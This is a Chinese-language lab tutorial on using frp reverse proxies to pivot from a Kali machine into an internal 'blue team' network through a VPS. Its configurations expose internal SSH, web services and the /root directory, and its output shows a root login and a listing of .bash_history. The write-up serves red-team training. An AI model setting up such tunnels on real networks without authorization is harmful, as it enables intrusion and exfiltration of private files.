跳板攻击之:frp代理转发
跳板攻击之:frp代理转发
1 frp 介绍
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
2 frp 原理
frp 主要由 客户端(frpc) 和 服务端(frps) 组成:服务端通常部署在具有公网 IP 的机器上,客户端通常部署在需要穿透的内网服务所在的机器上。
内网服务由于没有公网 IP,不能被非局域网内的其他用户访问。
用户通过访问服务端的 frps,由 frp 负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信。
frp 支持的代理类型。
类型 描述 tcp 单纯的 TCP 端口映射,服务端会根据不同的端口路由到不同的内网服务。 udp 单纯的 UDP 端口映射,服务端会根据不同的端口路由到不同的内网服务。 http 针对 HTTP 应用定制了一些额外的功能,例如修改 Host Header,增加鉴权。 https 针对 HTTPS 应用定制了一些额外的功能。 stcp 安全的 TCP 内网代理,需要在被访问者和访问者的机器上都部署 frpc,不需要在服务端暴露端口。 sudp 安全的 UDP 内网代理,需要在被访问者和访问者的机器上都部署 frpc,不需要在服务端暴露端口。 xtcp 点对点内网穿透代理,功能同 stcp,但是流量不需要经过服务器中转。 tcpmux 支持服务端 TCP 端口的多路复用,通过同一个端口访问不同的内网服务。
3 实验环境
3.1 实验准备
- 添加 A 记录 <your_vps_ domain> 指向 VPS IP
- CentOS2主机开放了22与80端口与服务
3.2 实验拓扑
4 frp代理socks
实现:kali通过frp socks代理,访问蓝队内网2 CentOS2 的 ssh 服务。
VPS 上
frps.ini
配置:[common]
bind_port = 2333 token = Admin123
# frp管理后台端口,请按自己需求更改
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = Aadmin@123
enable_prometheus = true # frp日志配置
log_file = /var/log/frp/frps.log
log_level = info
log_max_days = 3 # 执行:
./frps -c frps.ini
蓝队内网1 CentOS 配置
frpc.ini
:[common]
server_addr = <your_vps_IP>
server_port = 2333
token = Admin123 [plugin_socks]
type = tcp
remote_port = 32123
plugin = socks5
plugin_user = fcarey
plugin_passwd = Aadmin@123
use_encryption = true
use_compression = true # 执行:
./frpc -c frpc.ini
kali配置
/etc/proxychains4.conf
:socks5 <your_vps_IP> 32123 fcarey Aadmin@123
- 代理服务器IP为:VPS 的 IP
kali通过frp socks代理,访问蓝队内网2 CentOS2 的 ssh 服务。
5 frp代理stcp安全地暴露内网服务
实现:kali通过frp stcp代理,创建一个只有自己能访问到蓝队内网2 CentOS2 的 SSH 服务代理。
注:使用
stcp(secret tcp)
类型的代理可以避免让任何人都能访问到要穿透的服务,但是kali也需要运行另外一个 frpc 客户端。VPS 上
frps.ini
配置:[common]
bind_port = 2333 token = Admin123
# frp管理后台端口,请按自己需求更改
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = Aadmin@123
enable_prometheus = true # frp日志配置
log_file = /var/log/frp/frps.log
log_level = info
log_max_days = 3 # 执行:
./frps -c frps.ini
蓝队内网2 CentOS2 配置
frpc.ini
[common]
server_addr = <your_vps_IP>
server_port = 2333
token = Admin123 [secret_ssh]
type = stcp
# 只有 sk 一致的用户才能访问到此服务
sk = Admin@123
local_ip = 10.1.1.8
local_port = 22 # 执行:
./frpc -c frpc.ini
- 如果想访问
CentOS
上的web服务器(80端口),只需注释local_ip
或将local_ip
改为127.0.0.1
- 如果想访问
红队内网 kali 配置
frpc.ini
[common]
server_addr = <your_vps_IP>
server_port = 2333
token = Admin123 [secret_ssh_visitor]
type = stcp
# stcp 的访问者
role = visitor
# 要访问的 stcp 代理的名字
server_name = secret_ssh
sk = Admin@123
# 绑定本地端口用于访问 SSH 服务
bind_addr = 127.0.0.1
bind_port = 2222 # 执行:
./frpc -c frpc.ini
kali通过frp stcp代理,访问到蓝队内网2 CentOS2 的 SSH 服务。
6 frp代理tcp
实现:kali通过frp tcp代理,访问蓝队内网2 CentOS2 的 ssh 服务。
VPS 上
frps.ini
配置:[common]
bind_port = 2333 token = Admin123
# frp管理后台端口,请按自己需求更改
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = Aadmin@123
enable_prometheus = true # frp日志配置
log_file = /var/log/frp/frps.log
log_level = info
log_max_days = 3 # 执行:
./frps -c frps.ini
蓝队内网2 CentOS2 配置
frpc.ini
[common]
server_addr = <your_vps_IP>
server_port = 2333
token = Admin123 [ssh]
type = tcp
local_ip = 10.1.1.8
local_port = 22
remote_port = 2222 # 执行:
./frpc -c frpc.ini
- 如果想访问
CentOS
上的web服务器(80端口),只需注释local_ip
或将local_ip
改为127.0.0.1
- 如果想访问
kali通过frp tcp代理,访问蓝队内网2 CentOS2 的 ssh 服务。
# ssh root@<your_vps_IP> -p2222
The authenticity of host '[<your_vps_IP>]:2222 ([<your_vps_IP>]:2222)' can't be established.
ED25519 key fingerprint is SHA256:AtSBORnurK5vcdkDVyo0aC96JolXOmpM7AoeYem/6WU.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
~/.ssh/known_hosts:3: [hashed name]
~/.ssh/known_hosts:4: [hashed name]
~/.ssh/known_hosts:5: [hashed name]
~/.ssh/known_hosts:6: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[<your_vps_IP>]:2222' (ED25519) to the list of known hosts.
root@<your_vps_IP>'s password:
Last login: Sun Aug 21 15:52:26 2022 from 10.1.1.7
[root@fcarey ~]# whoami
root
7 frp代理通过自定义域名访问内网的 Web 服务
实现:kali通过frp代理http,使用
http://<your_vps_ domain>:8888
,访问蓝队内网2 CentOS2上的 WEB 服务器(80端口)。VPS 上
frps.ini
配置:[common]
bind_port = 2333
vhost_http_port = 8888 token = Admin123
# frp管理后台端口,请按自己需求更改
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = Aadmin@123
enable_prometheus = true # frp日志配置
log_file = /var/log/frp/frps.log
log_level = info
log_max_days = 3 # 执行:
./frps -c frps.ini
蓝队内网2
CentOS2
配置frpc.ini
[common]
server_addr = <your_vps_IP>
server_port = 2333
token = Admin123 [web]
type = http
local_ip = 10.1.1.8
local_port = 80
custom_domains = acdns.fcarey.com # 执行:
./frpc -c frpc.ini
- 如果想访问
CentOS
上的web服务器(80端口),只需注释local_ip
或将local_ip
改为127.0.0.1
- 如果想访问
kali通过
http://<your_vps_ domain>:8888
,访问蓝队内网2 CentOS2上的 WEB 服务器(80端口)。# curl http://acdns.fcarey.com:8888
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="1.png">1.png</a>
<li><a href="2.png">2.png</a>
<li><a href="build/">build/</a>
8 frp代理static_file对外提供简单的文件访问服务
实现:kali通过frp代理static_file,下载蓝队内网1 CentOS上文档。
VPS 上
frps.ini
配置:[common]
bind_port = 2333 token = Admin123
# frp管理后台端口,请按自己需求更改
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = Aadmin@123
enable_prometheus = true # frp日志配置
log_file = /var/log/frp/frps.log
log_level = info
log_max_days = 3 # 执行:
./frps -c frps.ini
蓝队内网1
CentOS
配置frpc.ini
[common]
server_addr = <your_vps_IP>
server_port = 2333
token = Admin123 [static_file]
type = tcp
remote_port = 2121
plugin = static_file
# 要对外暴露的文件目录
plugin_local_path = /root
# 用户访问 URL 中会被去除的前缀,保留的内容即为要访问的文件路径
plugin_strip_prefix = static
plugin_http_user = fcarey
plugin_http_passwd = Aadmin@123 # 执行:
./frpc -c frpc.ini
kali通过frp代理static_file,通过浏览器访问
http://<your_vps_IP>:2121/download/
来查看位于/root
目录下的文件,会要求输入已设置好的用户名和密码。└─# curl --basic -u fcarey:Aadmin@123 http://<your_vps_IP>:2121/download/
<pre>
<a href=".bash_history">.bash_history</a>
<a href=".bash_logout">.bash_logout</a>
<a href=".bash_profile">.bash_profile</a>
<a href=".bashrc">.bashrc</a>
<a href=".cache/">.cache/</a>
<a href=".cshrc">.cshrc</a>
<a href=".pki/">.pki/</a>
9 frp代理xtcp
实现:kali通过frp xtcp代理,创建一个只有自己能访问到蓝队内网2 CentOS2 的 SSH 服务代理。
注:
- frp 提供了一种新的代理类型
xtcp
用于应对在希望传输大量数据且流量不经过服务器的场景,使用方式同stcp
类似,kali也需要运行另外一个 frpc 客户端。 - xtcp目前处于开发的初级阶段,并不能穿透所有类型的 NAT 设备,所以穿透成功率较低。穿透失败时可以尝试
stcp
的方式。 - 本次实验没有成功。
- frp 提供了一种新的代理类型
VPS 上
frps.ini
配置:[common]
bind_port = 2333
bind_udp_port = 2333 token = Admin123
# frp管理后台端口,请按自己需求更改
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = Aadmin@123
enable_prometheus = true # frp日志配置
log_file = /var/log/frp/frps.log
log_level = info
log_max_days = 3 # 执行:
./frps -c frps.ini
蓝队内网2 CentOS2 配置
frpc.ini
[common]
server_addr = <your_vps_IP>
server_port = 2333
token = Admin123 [p2p_ssh]
type = xtcp
# 只有 sk 一致的用户才能访问到此服务
sk = Admin@123
local_ip = 10.1.1.8
local_port = 22 # 执行:
./frpc -c frpc.ini
- 如果想访问
CentOS
上的web服务器(80端口),只需注释local_ip
或将local_ip
改为127.0.0.1
- 如果想访问
红队内网 kali 配置
frpc.ini
[common]
server_addr = <your_vps_IP>
server_port = 2333
token = Admin123 [p2p_ssh_visitor]
type = xtcp
# xtcp 的访问者
role = visitor
# 要访问的 xtcp 代理的名字
server_name = p2p_ssh
sk = Admin@123
# 绑定本地端口用于访问 ssh 服务
bind_addr = 127.0.0.1
bind_port = 2222 # 执行:
./frpc -c frpc.ini
kali通过frp stcp代理,访问到蓝队内网2 CentOS2 的 SSH 服务。
失败。
10 高级功能
最新文章
- SVO原理解析
- Python 学习第十九天 django知识
- Linux随笔之——./configure、make、make install(转)
- 73.Android之SparseArray替代HashMap
- C#一维数组
- io多路复用,select,笔记
- 理解Fragment生命周期
- Redis 笔记与总结7 PHP + Redis 信息管理系统(用户信息的增删改查)
- Open vSwitch FAQ (二)
- C#程序集编译输出XML文档的作用
- git 仓库操作
- Foxit Reader 插件下载
- 【转】《APUE》第三章笔记(4)及习题3-2
- oracle中exp,imp的使用详解
- nodejs的简单服务器程序
- 开发composer包,打通github和packagist,并自动更新
- 用meterpreter实现跳板机
- 002.Zabbix简介
- MSSQL 转 ACCESS 在表格结构上应注意的
- Python3学习之路~2.6 集合操作
热门文章
- 【翻译】rocksdb调试指引
- python重要内置模块
- Python matplotlib 学习——建立画布和坐标系
- 持续发烧,聊聊Dart语言的并发处理,能挑战Go不?
- SpringBoot源码2——SpringBoot x Mybatis 原理解析(如何整合,事务如何交由spring管理,mybatis如何进行数据库操作)
- C# Log4net配置文件 总结
- python + mysql +djagno +unittest 实现WEB、APP UI自动化测试平台--------(一)基础表
- 红袖添香,绝代妖娆,Ruby语言基础入门教程之Ruby3基础语法,第一次亲密接触EP01
- HBase详解(03) - HBase架构和数据读写流程
- 动力节点—day06